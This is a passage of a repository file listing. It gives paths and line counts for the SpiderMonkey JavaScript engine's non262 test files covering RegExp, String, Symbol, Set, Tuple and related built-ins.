-rw-r--r--js/src/tests/non262/RegExp/RegExpExec-exec.js18
-rw-r--r--js/src/tests/non262/RegExp/RegExpExec-return.js31
-rw-r--r--js/src/tests/non262/RegExp/RegExp_dollar_number.js76
-rw-r--r--js/src/tests/non262/RegExp/RegExp_lastMatch.js52
-rw-r--r--js/src/tests/non262/RegExp/RegExp_lastMatch_as_array.js52
-rw-r--r--js/src/tests/non262/RegExp/RegExp_lastParen.js66
-rw-r--r--js/src/tests/non262/RegExp/RegExp_lastParen_as_array.js66
-rw-r--r--js/src/tests/non262/RegExp/RegExp_leftContext.js56
-rw-r--r--js/src/tests/non262/RegExp/RegExp_leftContext_as_array.js56
-rw-r--r--js/src/tests/non262/RegExp/RegExp_object.js54
-rw-r--r--js/src/tests/non262/RegExp/RegExp_rightContext.js56
-rw-r--r--js/src/tests/non262/RegExp/RegExp_rightContext_as_array.js56
-rw-r--r--js/src/tests/non262/RegExp/browser.js0
-rw-r--r--js/src/tests/non262/RegExp/character-class-escape-s.js54
-rw-r--r--js/src/tests/non262/RegExp/character-escape-class-s-mongolian-vowel-separator.js25
-rw-r--r--js/src/tests/non262/RegExp/class-null.js15
-rw-r--r--js/src/tests/non262/RegExp/compile-lastIndex.js82
-rw-r--r--js/src/tests/non262/RegExp/compile-symbol.js14
-rw-r--r--js/src/tests/non262/RegExp/constructor-IsRegExp.js86
-rw-r--r--js/src/tests/non262/RegExp/constructor-constructor.js78
-rw-r--r--js/src/tests/non262/RegExp/constructor-ordering-2.js21
-rw-r--r--js/src/tests/non262/RegExp/constructor-ordering.js16
-rw-r--r--js/src/tests/non262/RegExp/constructor-regexp-unicode.js9
-rw-r--r--js/src/tests/non262/RegExp/constructor-regexp.js61
-rw-r--r--js/src/tests/non262/RegExp/constructor-symbol.js14
-rw-r--r--js/src/tests/non262/RegExp/control_characters.js39
-rw-r--r--js/src/tests/non262/RegExp/cross-compartment-getter.js43
-rw-r--r--js/src/tests/non262/RegExp/descriptor.js25
-rw-r--r--js/src/tests/non262/RegExp/empty-lookahead.js8
-rw-r--r--js/src/tests/non262/RegExp/escape.js70
-rw-r--r--js/src/tests/non262/RegExp/everything.js47
-rw-r--r--js/src/tests/non262/RegExp/exec-002.js186
-rw-r--r--js/src/tests/non262/RegExp/exec-lastIndex-ToInteger.js36
-rw-r--r--js/src/tests/non262/RegExp/exec-lastIndex-negative.js27
-rw-r--r--js/src/tests/non262/RegExp/exec.js240
-rw-r--r--js/src/tests/non262/RegExp/flag-accessors.js49
-rw-r--r--js/src/tests/non262/RegExp/flags-param-handling.js18
-rw-r--r--js/src/tests/non262/RegExp/flags.js26
-rw-r--r--js/src/tests/non262/RegExp/getter-name.js16
-rw-r--r--js/src/tests/non262/RegExp/ignoreCase-multiple.js71
-rw-r--r--js/src/tests/non262/RegExp/ignoreCase-non-latin1-to-latin1.js118
-rw-r--r--js/src/tests/non262/RegExp/instance-property-storage-introspection.js128
-rw-r--r--js/src/tests/non262/RegExp/lastIndex-exec.js80
-rw-r--r--js/src/tests/non262/RegExp/lastIndex-match-or-replace.js123
-rw-r--r--js/src/tests/non262/RegExp/lastIndex-nonwritable.js27
-rw-r--r--js/src/tests/non262/RegExp/lastIndex-search.js118
-rw-r--r--js/src/tests/non262/RegExp/match-local-tolength-recompilation.js75
-rw-r--r--js/src/tests/non262/RegExp/match-this.js12
-rw-r--r--js/src/tests/non262/RegExp/match-trace.js142
-rw-r--r--js/src/tests/non262/RegExp/match.js36
-rw-r--r--js/src/tests/non262/RegExp/multiline-001.js67
-rw-r--r--js/src/tests/non262/RegExp/octal-001.js77
-rw-r--r--js/src/tests/non262/RegExp/octal-002.js92
-rw-r--r--js/src/tests/non262/RegExp/octal-003.js86
-rw-r--r--js/src/tests/non262/RegExp/oom-in-construction.js17
-rw-r--r--js/src/tests/non262/RegExp/perlstress-001.js3194
-rw-r--r--js/src/tests/non262/RegExp/perlstress-002.js1806
-rw-r--r--js/src/tests/non262/RegExp/properties-001.js87
-rw-r--r--js/src/tests/non262/RegExp/properties-002.js128
-rw-r--r--js/src/tests/non262/RegExp/prototype-different-global.js28
-rw-r--r--js/src/tests/non262/RegExp/prototype.js37
-rw-r--r--js/src/tests/non262/RegExp/regexp-enumerate-001.js79
-rw-r--r--js/src/tests/non262/RegExp/regexp-space-character-class.js27
-rw-r--r--js/src/tests/non262/RegExp/regress-001.js44
-rw-r--r--js/src/tests/non262/RegExp/regress-100199.js271
-rw-r--r--js/src/tests/non262/RegExp/regress-105972.js121
-rw-r--r--js/src/tests/non262/RegExp/regress-119909.js55
-rw-r--r--js/src/tests/non262/RegExp/regress-122076.js76
-rw-r--r--js/src/tests/non262/RegExp/regress-123437.js76
-rw-r--r--js/src/tests/non262/RegExp/regress-165353.js86
-rw-r--r--js/src/tests/non262/RegExp/regress-169497.js69
-rw-r--r--js/src/tests/non262/RegExp/regress-169534.js58
-rw-r--r--js/src/tests/non262/RegExp/regress-187133.js106
-rw-r--r--js/src/tests/non262/RegExp/regress-188206.js182
-rw-r--r--js/src/tests/non262/RegExp/regress-191479.js162
-rw-r--r--js/src/tests/non262/RegExp/regress-202564.js65
-rw-r--r--js/src/tests/non262/RegExp/regress-209067.js1069
-rw-r--r--js/src/tests/non262/RegExp/regress-209919.js138
-rw-r--r--js/src/tests/non262/RegExp/regress-216591.js81
-rw-r--r--js/src/tests/non262/RegExp/regress-220367-001.js68
-rw-r--r--js/src/tests/non262/RegExp/regress-223273.js242
-rw-r--r--js/src/tests/non262/RegExp/regress-223535.js97
-rw-r--r--js/src/tests/non262/RegExp/regress-224676.js190
-rw-r--r--js/src/tests/non262/RegExp/regress-225289.js140
-rw-r--r--js/src/tests/non262/RegExp/regress-225343.js89
-rw-r--r--js/src/tests/non262/RegExp/regress-24712.js19
-rw-r--r--js/src/tests/non262/RegExp/regress-285219.js18
-rw-r--r--js/src/tests/non262/RegExp/regress-28686.js17
-rw-r--r--js/src/tests/non262/RegExp/regress-305064.js54
-rw-r--r--js/src/tests/non262/RegExp/regress-307456.js22
-rw-r--r--js/src/tests/non262/RegExp/regress-309840.js24
-rw-r--r--js/src/tests/non262/RegExp/regress-312351.js17
-rw-r--r--js/src/tests/non262/RegExp/regress-31316.js60
-rw-r--r--js/src/tests/non262/RegExp/regress-330684.js21
-rw-r--r--js/src/tests/non262/RegExp/regress-334158.js25
-rw-r--r--js/src/tests/non262/RegExp/regress-346090.js26
-rw-r--r--js/src/tests/non262/RegExp/regress-367888.js26
-rw-r--r--js/src/tests/non262/RegExp/regress-375642.js25
-rw-r--r--js/src/tests/non262/RegExp/regress-375651.js26
-rw-r--r--js/src/tests/non262/RegExp/regress-375711.js82
-rw-r--r--js/src/tests/non262/RegExp/regress-375715-01-n.js27
-rw-r--r--js/src/tests/non262/RegExp/regress-375715-02.js24
-rw-r--r--js/src/tests/non262/RegExp/regress-375715-03.js24
-rw-r--r--js/src/tests/non262/RegExp/regress-375715-04.js32
-rw-r--r--js/src/tests/non262/RegExp/regress-429241.js200
-rw-r--r--js/src/tests/non262/RegExp/regress-436700.js31
-rw-r--r--js/src/tests/non262/RegExp/regress-465862.js80
-rw-r--r--js/src/tests/non262/RegExp/regress-57572.js114
-rw-r--r--js/src/tests/non262/RegExp/regress-57631.js115
-rw-r--r--js/src/tests/non262/RegExp/regress-576828.js8
-rw-r--r--js/src/tests/non262/RegExp/regress-613820-1.js9
-rw-r--r--js/src/tests/non262/RegExp/regress-613820-2.js9
-rw-r--r--js/src/tests/non262/RegExp/regress-613820-3.js9
-rw-r--r--js/src/tests/non262/RegExp/regress-617935.js42
-rw-r--r--js/src/tests/non262/RegExp/regress-6359.js52
-rw-r--r--js/src/tests/non262/RegExp/regress-67773.js175
-rw-r--r--js/src/tests/non262/RegExp/regress-72964.js85
-rw-r--r--js/src/tests/non262/RegExp/regress-76683.js78
-rw-r--r--js/src/tests/non262/RegExp/regress-78156.js87
-rw-r--r--js/src/tests/non262/RegExp/regress-85721.js243
-rw-r--r--js/src/tests/non262/RegExp/regress-87231.js109
-rw-r--r--js/src/tests/non262/RegExp/regress-9141.js71
-rw-r--r--js/src/tests/non262/RegExp/regress-98306.js63
-rw-r--r--js/src/tests/non262/RegExp/regress-yarr-regexp.js18
-rw-r--r--js/src/tests/non262/RegExp/replace-compile-elembase.js22
-rw-r--r--js/src/tests/non262/RegExp/replace-compile.js21
-rw-r--r--js/src/tests/non262/RegExp/replace-global-unicode.js18
-rw-r--r--js/src/tests/non262/RegExp/replace-local-tolength-lastindex.js22
-rw-r--r--js/src/tests/non262/RegExp/replace-local-tolength-recompilation.js75
-rw-r--r--js/src/tests/non262/RegExp/replace-sticky-lastIndex.js23
-rw-r--r--js/src/tests/non262/RegExp/replace-sticky.js21
-rw-r--r--js/src/tests/non262/RegExp/replace-this.js12
-rw-r--r--js/src/tests/non262/RegExp/replace-trace.js299
-rw-r--r--js/src/tests/non262/RegExp/replace-twoBytes.js44
-rw-r--r--js/src/tests/non262/RegExp/replace.js34
-rw-r--r--js/src/tests/non262/RegExp/search-this.js12
-rw-r--r--js/src/tests/non262/RegExp/search-trace.js78
-rw-r--r--js/src/tests/non262/RegExp/search.js26
-rw-r--r--js/src/tests/non262/RegExp/shell.js256
-rw-r--r--js/src/tests/non262/RegExp/source.js29
-rw-r--r--js/src/tests/non262/RegExp/split-deleted-flags.js11
-rw-r--r--js/src/tests/non262/RegExp/split-flags-on-obj.js21
-rw-r--r--js/src/tests/non262/RegExp/split-invalid-lastIndex.js31
-rw-r--r--js/src/tests/non262/RegExp/split-limit.js14
-rw-r--r--js/src/tests/non262/RegExp/split-obj.js12
-rw-r--r--js/src/tests/non262/RegExp/split-prop-access.js19
-rw-r--r--js/src/tests/non262/RegExp/split-this.js12
-rw-r--r--js/src/tests/non262/RegExp/split-trace.js229
-rw-r--r--js/src/tests/non262/RegExp/split.js30
-rw-r--r--js/src/tests/non262/RegExp/sticky.js126
-rw-r--r--js/src/tests/non262/RegExp/test-emptyMatch.js23
-rw-r--r--js/src/tests/non262/RegExp/test-trailing.js31
-rw-r--r--js/src/tests/non262/RegExp/toString.js42
-rw-r--r--js/src/tests/non262/RegExp/unicode-back-reference.js39
-rw-r--r--js/src/tests/non262/RegExp/unicode-braced.js166
-rw-r--r--js/src/tests/non262/RegExp/unicode-character-class-escape.js75
-rw-r--r--js/src/tests/non262/RegExp/unicode-class-braced.js236
-rw-r--r--js/src/tests/non262/RegExp/unicode-class-empty.js25
-rw-r--r--js/src/tests/non262/RegExp/unicode-class-ignoreCase.js28
-rw-r--r--js/src/tests/non262/RegExp/unicode-class-lead-trail.js142
-rw-r--r--js/src/tests/non262/RegExp/unicode-class-negated.js64
-rw-r--r--js/src/tests/non262/RegExp/unicode-class-range.js28
-rw-r--r--js/src/tests/non262/RegExp/unicode-class-raw.js65
-rw-r--r--js/src/tests/non262/RegExp/unicode-disallow-extended.js139
-rw-r--r--js/src/tests/non262/RegExp/unicode-everything.js59
-rw-r--r--js/src/tests/non262/RegExp/unicode-ignoreCase-ascii.js45
-rw-r--r--js/src/tests/non262/RegExp/unicode-ignoreCase-escape.js71
-rw-r--r--js/src/tests/non262/RegExp/unicode-ignoreCase-negated.js19
-rw-r--r--js/src/tests/non262/RegExp/unicode-ignoreCase-word-boundary.js46
-rw-r--r--js/src/tests/non262/RegExp/unicode-ignoreCase.js2901
-rw-r--r--js/src/tests/non262/RegExp/unicode-index.js17
-rw-r--r--js/src/tests/non262/RegExp/unicode-lead-trail.js218
-rw-r--r--js/src/tests/non262/RegExp/unicode-raw.js139
-rw-r--r--js/src/tests/non262/RegExp/yflag.js85
-rw-r--r--js/src/tests/non262/Scope/browser.js0
-rw-r--r--js/src/tests/non262/Scope/regress-154693.js64
-rw-r--r--js/src/tests/non262/Scope/regress-181834.js146
-rw-r--r--js/src/tests/non262/Scope/regress-184107.js90
-rw-r--r--js/src/tests/non262/Scope/regress-185485.js126
-rw-r--r--js/src/tests/non262/Scope/regress-191276.js91
-rw-r--r--js/src/tests/non262/Scope/regress-192226.js88
-rw-r--r--js/src/tests/non262/Scope/regress-202678-001.js99
-rw-r--r--js/src/tests/non262/Scope/regress-202678-002.js100
-rw-r--r--js/src/tests/non262/Scope/regress-208496-001.js137
-rw-r--r--js/src/tests/non262/Scope/regress-208496-002.js129
-rw-r--r--js/src/tests/non262/Scope/regress-220362.js79
-rw-r--r--js/src/tests/non262/Scope/regress-446026-01.js51
-rw-r--r--js/src/tests/non262/Scope/regress-446026-02.js27
-rw-r--r--js/src/tests/non262/Scope/regress-77578-001.js114
-rw-r--r--js/src/tests/non262/Scope/scope-002.js105
-rw-r--r--js/src/tests/non262/Scope/scope-003.js106
-rw-r--r--js/src/tests/non262/Scope/scope-004.js188
-rw-r--r--js/src/tests/non262/Scope/shell.js0
-rw-r--r--js/src/tests/non262/Script/browser.js0
-rw-r--r--js/src/tests/non262/Script/delete-001.js46
-rw-r--r--js/src/tests/non262/Script/function-002.js42
-rw-r--r--js/src/tests/non262/Script/in-001.js33
-rw-r--r--js/src/tests/non262/Script/new-001.js79
-rw-r--r--js/src/tests/non262/Script/shell.js0
-rw-r--r--js/src/tests/non262/Script/switch-001.js48
-rw-r--r--js/src/tests/non262/Set/browser.js0
-rw-r--r--js/src/tests/non262/Set/difference.js63
-rw-r--r--js/src/tests/non262/Set/intersection.js63
-rw-r--r--js/src/tests/non262/Set/is-disjoint-from.js63
-rw-r--r--js/src/tests/non262/Set/is-subset-of.js69
-rw-r--r--js/src/tests/non262/Set/is-superset-of.js63
-rw-r--r--js/src/tests/non262/Set/shell.js45
-rw-r--r--js/src/tests/non262/Set/symmetric-difference.js63
-rw-r--r--js/src/tests/non262/Set/union.js65
-rw-r--r--js/src/tests/non262/ShadowRealms/ccw-2.js22
-rw-r--r--js/src/tests/non262/ShadowRealms/ccw.js33
-rw-r--r--js/src/tests/non262/ShadowRealms/error.js102
-rw-r--r--js/src/tests/non262/ShadowRealms/function-copy-name-and-length-fails-error-realm.js27
-rw-r--r--js/src/tests/non262/ShadowRealms/function-return.js73
-rw-r--r--js/src/tests/non262/ShadowRealms/syntax-error.js33
-rw-r--r--js/src/tests/non262/ShadowRealms/unwrap-wrap-with-proto.js12
-rw-r--r--js/src/tests/non262/String/15.5.4.11-01.js66
-rw-r--r--js/src/tests/non262/String/15.5.4.2.js14
-rw-r--r--js/src/tests/non262/String/15.5.4.7.js20
-rw-r--r--js/src/tests/non262/String/AdvanceStringIndex.js43
-rw-r--r--js/src/tests/non262/String/IsRegExp.js24
-rw-r--r--js/src/tests/non262/String/at.js38
-rw-r--r--js/src/tests/non262/String/browser.js0
-rw-r--r--js/src/tests/non262/String/codePointAt.js84
-rw-r--r--js/src/tests/non262/String/defaultvalue.js169
-rw-r--r--js/src/tests/non262/String/fromCodePoint.js60
-rw-r--r--js/src/tests/non262/String/internalUsage.js30
-rw-r--r--js/src/tests/non262/String/iterator_edge_cases.js27
-rw-r--r--js/src/tests/non262/String/lastIndexOf-ToNumber-when-searchStr-larger-than-string.js22
-rw-r--r--js/src/tests/non262/String/make-normalize-generateddata-input.py87
-rw-r--r--js/src/tests/non262/String/match-001.js104
-rw-r--r--js/src/tests/non262/String/match-002.js172
-rw-r--r--js/src/tests/non262/String/match-003.js130
-rw-r--r--js/src/tests/non262/String/match-004.js172
-rw-r--r--js/src/tests/non262/String/match-GetMethod.js29
-rw-r--r--js/src/tests/non262/String/match-defines-match-elements.js47
-rw-r--r--js/src/tests/non262/String/match-forward-lookahead.js27
-rw-r--r--js/src/tests/non262/String/match-throws-nonwritable-lastIndex-global.js88
-rw-r--r--js/src/tests/non262/String/match-updates-global-lastIndex.js31
-rw-r--r--js/src/tests/non262/String/match.js31
-rw-r--r--js/src/tests/non262/String/matchAll.js288
-rw-r--r--js/src/tests/non262/String/normalize-form-non-atom.js18
-rw-r--r--js/src/tests/non262/String/normalize-generateddata-input.js19087
-rw-r--r--js/src/tests/non262/String/normalize-generateddata-part0.js22
-rw-r--r--js/src/tests/non262/String/normalize-generateddata-part1-not-listed.js38
-rw-r--r--js/src/tests/non262/String/normalize-generateddata-part1.js22
-rw-r--r--js/src/tests/non262/String/normalize-generateddata-part2.js22
-rw-r--r--js/src/tests/non262/String/normalize-generateddata-part3.js22
-rw-r--r--js/src/tests/non262/String/normalize-generic.js20
-rw-r--r--js/src/tests/non262/String/normalize-parameter.js19
-rw-r--r--js/src/tests/non262/String/normalize-rope.js23
-rw-r--r--js/src/tests/non262/String/raw.js55
-rw-r--r--js/src/tests/non262/String/regress-104375.js79
-rw-r--r--js/src/tests/non262/String/regress-107771.js88
-rw-r--r--js/src/tests/non262/String/regress-112626.js18
-rw-r--r--js/src/tests/non262/String/regress-179068.js122
-rw-r--r--js/src/tests/non262/String/regress-189898.js120
-rw-r--r--js/src/tests/non262/String/regress-304376.js34
-rw-r--r--js/src/tests/non262/String/regress-305064.js154
-rw-r--r--js/src/tests/non262/String/regress-313567.js23
-rw-r--r--js/src/tests/non262/String/regress-369778.js29
-rw-r--r--js/src/tests/non262/String/regress-392378.js41
-rw-r--r--js/src/tests/non262/String/regress-83293.js179
-rw-r--r--js/src/tests/non262/String/replace-GetMethod.js24
-rw-r--r--js/src/tests/non262/String/replace-bad-dollar-single-quote.js61
-rw-r--r--js/src/tests/non262/String/replace-flags.js25
-rw-r--r--js/src/tests/non262/String/replace-math.js38
-rw-r--r--js/src/tests/non262/String/replace-rope-empty.js30
-rw-r--r--js/src/tests/non262/String/replace-throws-nonwritable-lastIndex-global.js126
-rw-r--r--js/src/tests/non262/String/replace-updates-global-lastIndex.js38
-rw-r--r--js/src/tests/non262/String/replace.js19
-rw-r--r--js/src/tests/non262/String/replaceAll.js215
-rw-r--r--js/src/tests/non262/String/ropes.js58
-rw-r--r--js/src/tests/non262/String/search-GetMethod.js24
-rw-r--r--js/src/tests/non262/String/search.js27
-rw-r--r--js/src/tests/non262/String/shell.js59
-rw-r--r--js/src/tests/non262/String/split-01.js47
-rw-r--r--js/src/tests/non262/String/split-GetMethod.js24
-rw-r--r--js/src/tests/non262/String/split-order.js22
-rw-r--r--js/src/tests/non262/String/split-undefined-separator.js37
-rw-r--r--js/src/tests/non262/String/split-xregexp.js118
-rw-r--r--js/src/tests/non262/String/split.js19
-rw-r--r--js/src/tests/non262/String/string-code-point-upper-lower-mapping.js530
-rw-r--r--js/src/tests/non262/String/string-object-length.js19
-rw-r--r--js/src/tests/non262/String/string-pad-start-end.js99
-rw-r--r--js/src/tests/non262/String/string-space-trim.js42
-rw-r--r--js/src/tests/non262/String/string-upper-lower-mapping.js65557
-rw-r--r--js/src/tests/non262/String/thisv-error.js51
-rw-r--r--js/src/tests/non262/String/two-length-nonlatin-indexOf.js11
-rw-r--r--js/src/tests/non262/String/unicode-braced.js64
-rw-r--r--js/src/tests/non262/String/utf8-encode.js187
-rw-r--r--js/src/tests/non262/Symbol/as-base-value.js87
-rw-r--r--js/src/tests/non262/Symbol/browser.js0
-rw-r--r--js/src/tests/non262/Symbol/comparisons.js34
-rw-r--r--js/src/tests/non262/Symbol/constructor.js35
-rw-r--r--js/src/tests/non262/Symbol/conversions.js89
-rw-r--r--js/src/tests/non262/Symbol/enumeration-order.js40
-rw-r--r--js/src/tests/non262/Symbol/enumeration.js52
-rw-r--r--js/src/tests/non262/Symbol/equality.js30
-rw-r--r--js/src/tests/non262/Symbol/errors.js17
-rw-r--r--js/src/tests/non262/Symbol/for-in-order.js33
-rw-r--r--js/src/tests/non262/Symbol/for.js31
-rw-r--r--js/src/tests/non262/Symbol/json-stringify-keys.js19
-rw-r--r--js/src/tests/non262/Symbol/json-stringify-values.js33
-rw-r--r--js/src/tests/non262/Symbol/keyFor.js15
-rw-r--r--js/src/tests/non262/Symbol/property-accessor.js39
-rw-r--r--js/src/tests/non262/Symbol/property-basics.js44
-rw-r--r--js/src/tests/non262/Symbol/property-inheritance.js50
-rw-r--r--js/src/tests/non262/Symbol/property-nonwritable.js31
-rw-r--r--js/src/tests/non262/Symbol/property-reflection.js136
-rw-r--r--js/src/tests/non262/Symbol/realms.js36
-rw-r--r--js/src/tests/non262/Symbol/shell.js0
-rw-r--r--js/src/tests/non262/Symbol/species.js30
-rw-r--r--js/src/tests/non262/Symbol/surfaces.js34
-rw-r--r--js/src/tests/non262/Symbol/symbol-object-not-unboxed-for-value-to-id.js31
-rw-r--r--js/src/tests/non262/Symbol/toPrimitive-undefined-or-null.js18
-rw-r--r--js/src/tests/non262/Symbol/toPrimitive.js39
-rw-r--r--js/src/tests/non262/Symbol/toString.js27
-rw-r--r--js/src/tests/non262/Symbol/toStringTag.js155
-rw-r--r--js/src/tests/non262/Symbol/typed-arrays.js17
-rw-r--r--js/src/tests/non262/Symbol/typeof.js11
-rw-r--r--js/src/tests/non262/Symbol/valueOf.js22
-rw-r--r--js/src/tests/non262/Symbol/well-known.js42
-rw-r--r--js/src/tests/non262/Tuple/4.1.2.11.js128
-rw-r--r--js/src/tests/non262/Tuple/4.1.2.6.js19
-rw-r--r--js/src/tests/non262/Tuple/9.1.1.1.js12
-rw-r--r--js/src/tests/non262/Tuple/browser.js0
-rw-r--r--js/src/tests/non262/Tuple/constructor.js18
-rw-r--r--js/src/tests/non262/Tuple/constructor/8.2.1.js55
-rw-r--r--js/src/tests/non262/Tuple/constructor/8.2.2.js11
-rw-r--r--js/src/tests/non262/Tuple/constructor/call-method.js17
-rw-r--r--js/src/tests/non262/Tuple/constructor/is-a-constructor.js4
-rw-r--r--js/src/tests/non262/Tuple/constructor/length.js13
-rw-r--r--js/src/tests/non262/Tuple/constructor/name.js20
-rw-r--r--js/src/tests/non262/Tuple/cross-realm.js22
-rw-r--r--js/src/tests/non262/Tuple/elements-literal.js22
-rw-r--r--js/src/tests/non262/Tuple/elements.js19
-rw-r--r--js/src/tests/non262/Tuple/enumeration.js48
-rw-r--r--js/src/tests/non262/Tuple/equality.js32
-rw-r--r--js/src/tests/non262/Tuple/from/arraylike-get-length-error.js17
-rw-r--r--js/src/tests/non262/Tuple/from/arraylike-to-length-error.js17
-rw-r--r--js/src/tests/non262/Tuple/from/calling-from-valid-1-noStrict.js43
-rw-r--r--js/src/tests/non262/Tuple/from/calling-from-valid-1-onlyStrict-strict.js44
-rw-r--r--js/src/tests/non262/Tuple/from/calling-from-valid-2.js44
-rw-r--r--js/src/tests/non262/Tuple/from/descriptor.js9
-rw-r--r--js/src/tests/non262/Tuple/from/elements-added-after.js29
-rw-r--r--js/src/tests/non262/Tuple/from/elements-deleted-after.js24
-rw-r--r--js/src/tests/non262/Tuple/from/from.js89
-rw-r--r--js/src/tests/non262/Tuple/from/get-iter-method-err.js12
-rw-r--r--js/src/tests/non262/Tuple/from/indexed-setters.js12
-rw-r--r--js/src/tests/non262/Tuple/from/items-is-arraybuffer.js8
-rw-r--r--js/src/tests/non262/Tuple/from/items-is-null-throws.js5
-rw-r--r--js/src/tests/non262/Tuple/from/iter-adv-err.js15
-rw-r--r--js/src/tests/non262/Tuple/from/iter-get-iter-err.js11
-rw-r--r--js/src/tests/non262/Tuple/from/iter-get-iter-val-err.js21
-rw-r--r--js/src/tests/non262/Tuple/from/iter-map-fn-args.js44
-rw-r--r--js/src/tests/non262/Tuple/from/iter-map-fn-err.js26
-rw-r--r--js/src/tests/non262/Tuple/from/iter-map-fn-return.js44
-rw-r--r--js/src/tests/non262/Tuple/from/iter-map-fn-this-arg.js38
-rw-r--r--js/src/tests/non262/Tuple/from/iter-map-fn-this-non-strict.js39
-rw-r--r--js/src/tests/non262/Tuple/from/iter-map-fn-this-strict-strict.js37
-rw-r--r--js/src/tests/non262/Tuple/from/iter-next-error.js18
-rw-r--r--js/src/tests/non262/Tuple/from/iter-next-value-error.js25
-rw-r--r--js/src/tests/non262/Tuple/from/iter-set-elem-prop.js37
-rw-r--r--js/src/tests/non262/Tuple/from/iter-set-length.js31
-rw-r--r--js/src/tests/non262/Tuple/from/length.js14
-rw-r--r--js/src/tests/non262/Tuple/from/mapfn-is-not-callable-typeerror.js15
-rw-r--r--js/src/tests/non262/Tuple/from/mapfn-throws-exception.js12
-rw-r--r--js/src/tests/non262/Tuple/from/name.js9
-rw-r--r--js/src/tests/non262/Tuple/from/not-a-constructor.js9
-rw-r--r--js/src/tests/non262/Tuple/from/prop-desc.js9
-rw-r--r--js/src/tests/non262/Tuple/from/source-array-boundary.js21
-rw-r--r--js/src/tests/non262/Tuple/from/source-object-iterator-1.js25
-rw-r--r--js/src/tests/non262/Tuple/from/source-object-length.js15
-rw-r--r--js/src/tests/non262/Tuple/from/source-object-without.js13
-rw-r--r--js/src/tests/non262/Tuple/from/this-null.js14
-rw-r--r--js/src/tests/non262/Tuple/gc.js14
-rw-r--r--js/src/tests/non262/Tuple/initializers/6.1.2.1.js129
-rw-r--r--js/src/tests/non262/Tuple/isTuple/8.2.2.1.js54
-rw-r--r--js/src/tests/non262/Tuple/isTuple/descriptor.js9
-rw-r--r--js/src/tests/non262/Tuple/isTuple/length.js9
-rw-r--r--js/src/tests/non262/Tuple/isTuple/name.js9
-rw-r--r--js/src/tests/non262/Tuple/isTuple/not-a-constructor.js15
-rw-r--r--js/src/tests/non262/Tuple/length-ownproperty.js21
-rw-r--r--js/src/tests/non262/Tuple/literal.js32
-rw-r--r--js/src/tests/non262/Tuple/methods.js554
-rw-r--r--js/src/tests/non262/Tuple/of/length.js20
-rw-r--r--js/src/tests/non262/Tuple/of/name.js9
-rw-r--r--js/src/tests/non262/Tuple/of/not-a-constructor.js9
-rw-r--r--js/src/tests/non262/Tuple/of/of.js29
-rw-r--r--js/src/tests/non262/Tuple/of/prop-desc.js9
-rw-r--r--js/src/tests/non262/Tuple/property-descriptors.js91
-rw-r--r--js/src/tests/non262/Tuple/proto-override.js13
-rw-r--r--js/src/tests/non262/Tuple/prototype/Symbol.toStringTag/invoked-as-accessor.js22
-rw-r--r--js/src/tests/non262/Tuple/prototype/Symbol.toStringTag/length.js11
-rw-r--r--js/src/tests/non262/Tuple/prototype/Symbol.toStringTag/name.js7
-rw-r--r--js/src/tests/non262/Tuple/prototype/Symbol.toStringTag/prop-desc.js31
-rw-r--r--js/src/tests/non262/Tuple/prototype/concat/concat-with-array.js7
-rw-r--r--js/src/tests/non262/Tuple/prototype/concat/concat.js104
-rw-r--r--js/src/tests/non262/Tuple/prototype/concat/indexed-setters.js17
-rw-r--r--js/src/tests/non262/Tuple/prototype/concat/length.js27
-rw-r--r--js/src/tests/non262/Tuple/prototype/filter/filter.js82
-rw-r--r--js/src/tests/non262/Tuple/prototype/filter/indexed-setters.js16
-rw-r--r--js/src/tests/non262/Tuple/prototype/filter/length.js27
-rw-r--r--js/src/tests/non262/Tuple/prototype/flat/empty-tuple-elements.js8
-rw-r--r--js/src/tests/non262/Tuple/prototype/flat/flat.js96
-rw-r--r--js/src/tests/non262/Tuple/prototype/flat/indexed-setters.js16
-rw-r--r--js/src/tests/non262/Tuple/prototype/flat/length.js27
-rw-r--r--js/src/tests/non262/Tuple/prototype/flat/undefined-elements.js10
-rw-r--r--js/src/tests/non262/Tuple/prototype/flatMap/depth-always-one.js16
-rw-r--r--js/src/tests/non262/Tuple/prototype/flatMap/flatMap.js114
-rw-r--r--js/src/tests/non262/Tuple/prototype/flatMap/length.js27
-rw-r--r--js/src/tests/non262/Tuple/prototype/includes/fromIndex-equal-or-greater-length-returns-false.js13
-rw-r--r--js/src/tests/non262/Tuple/prototype/includes/fromIndex-infinity.js23
-rw-r--r--js/src/tests/non262/Tuple/prototype/includes/fromIndex-minus-zero.js24
-rw-r--r--js/src/tests/non262/Tuple/prototype/includes/includes.js18
-rw-r--r--js/src/tests/non262/Tuple/prototype/includes/length-internal.js14
-rw-r--r--js/src/tests/non262/Tuple/prototype/includes/length-zero-returns-false.js23
-rw-r--r--js/src/tests/non262/Tuple/prototype/includes/length.js27
-rw-r--r--js/src/tests/non262/Tuple/prototype/includes/name.js17
-rw-r--r--js/src/tests/non262/Tuple/prototype/includes/no-arg.js12
-rw-r--r--js/src/tests/non262/Tuple/prototype/includes/not-a-constructor.js20
-rw-r--r--js/src/tests/non262/Tuple/prototype/includes/prop-desc.js14
-rw-r--r--js/src/tests/non262/Tuple/prototype/includes/return-abrupt-get-length.js27
-rw-r--r--js/src/tests/non262/Tuple/prototype/includes/return-abrupt-tointeger-fromindex-symbol.js15
-rw-r--r--js/src/tests/non262/Tuple/prototype/includes/return-abrupt-tointeger-fromindex.js21
-rw-r--r--js/src/tests/non262/Tuple/prototype/includes/return-abrupt-tonumber-length-symbol.js15
-rw-r--r--js/src/tests/non262/Tuple/prototype/includes/samevaluezero.js21
-rw-r--r--js/src/tests/non262/Tuple/prototype/includes/search-found-returns-true.js28
-rw-r--r--js/src/tests/non262/Tuple/prototype/includes/search-not-found-returns-false.js26
-rw-r--r--js/src/tests/non262/Tuple/prototype/includes/this-is-not-tuple.js17
-rw-r--r--js/src/tests/non262/Tuple/prototype/includes/tointeger-fromindex.js40
-rw-r--r--js/src/tests/non262/Tuple/prototype/includes/using-fromindex.js38
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/empty-tuple.js13
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-boolean.js14
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-float.js15
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-greater-than-length.js17
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-infinity-string.js13
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-inherited-valueOf.js36
-rw-r--r--js/src/tests/non262/Tuple/prototype/indexOf/fromIndex-missing.js17
